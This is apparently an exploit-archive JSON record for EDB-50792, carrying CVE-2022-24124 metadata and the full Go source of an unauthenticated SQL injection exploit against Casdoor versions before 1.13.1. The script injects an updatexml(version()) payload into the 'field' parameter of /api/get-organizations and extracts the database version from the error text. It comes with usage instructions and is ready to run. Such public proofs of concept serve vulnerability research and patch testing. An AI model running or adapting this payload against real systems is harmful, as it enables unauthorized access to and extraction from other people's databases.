{"exploit":{"id":"EDB-50792","name":"Casdoor 1.13.0 - Unauthenticated SQL Injection (SQLi)","description":"Casdoor 1.13.0 - Unauthenticated SQL Injection (SQLi)","cves":["CVE-2022-24124"],"author":"Mayank Deshmukh","published":"2022-02-28","platform":"multiple","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50792","path":"exploits/multiple/webapps/50792.go","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50792.go","vulnerabilities":[{"id":"CVE-2022-24124","state":"PUBLISHED","title":null,"titleSource":null,"description":"The query API in Casdoor before 1.13.1 has a SQL injection vulnerability related to the field and value parameters, as demonstrated by api/get-organizations.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-24124","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-24124"},"updatedAt":"2024-08-03T03:59:23.921Z","retrievedAt":"2026-11-25T21:44:15.869Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50792.png?v=2","url":"https://exploitbin.com/exploits/EDB-50792","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50792/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50792/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// Exploit Title: Casdoor 1.13.0 - SQL Injection (Unauthenticated)\n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"html\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc main() {\n\tvar url string\n\tflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\n\tflag.Parse()\n\n\tbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=-\n- by Mayank Deshmukh (ColdFusionX)\n\n`\n\tfmt.Printf(banner)\n\tfmt.Println(\"[*] Dumping Database Version\")\n\tresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdefer response.Body.Close()\n\n\tdatabytes, err := ioutil.ReadAll(response.Body)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcontent := string(databytes)\n\n\tre := regexp.MustCompile(\"(?i)(XPATH syntax error.*&#39)\")\n\n\tresult := re.FindAllString(content, -1)\n\n\tsqliop := fmt.Sprint(result)\n\treplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"&#39\", \"\", \";\", \"\")\n\n\tfinalop := replacer.Replace(sqliop)\n\tfmt.Println(html.UnescapeString(finalop))\n\n\n\tif result == nil {\n\t\tfmt.Printf(\"Application not vulnerable\\n\")\n\t\tos.Exit(1)\n\t}\n\n}","sha256":"004ffc80687712750408da4cd23e1c17e9d98e81f79ed051dfb4f1bf707960e7","bytes":1589,"fetchedAt":"2026-11-26T17:11:33.587Z","encoding":"utf-8 (display only; download retains original bytes)"}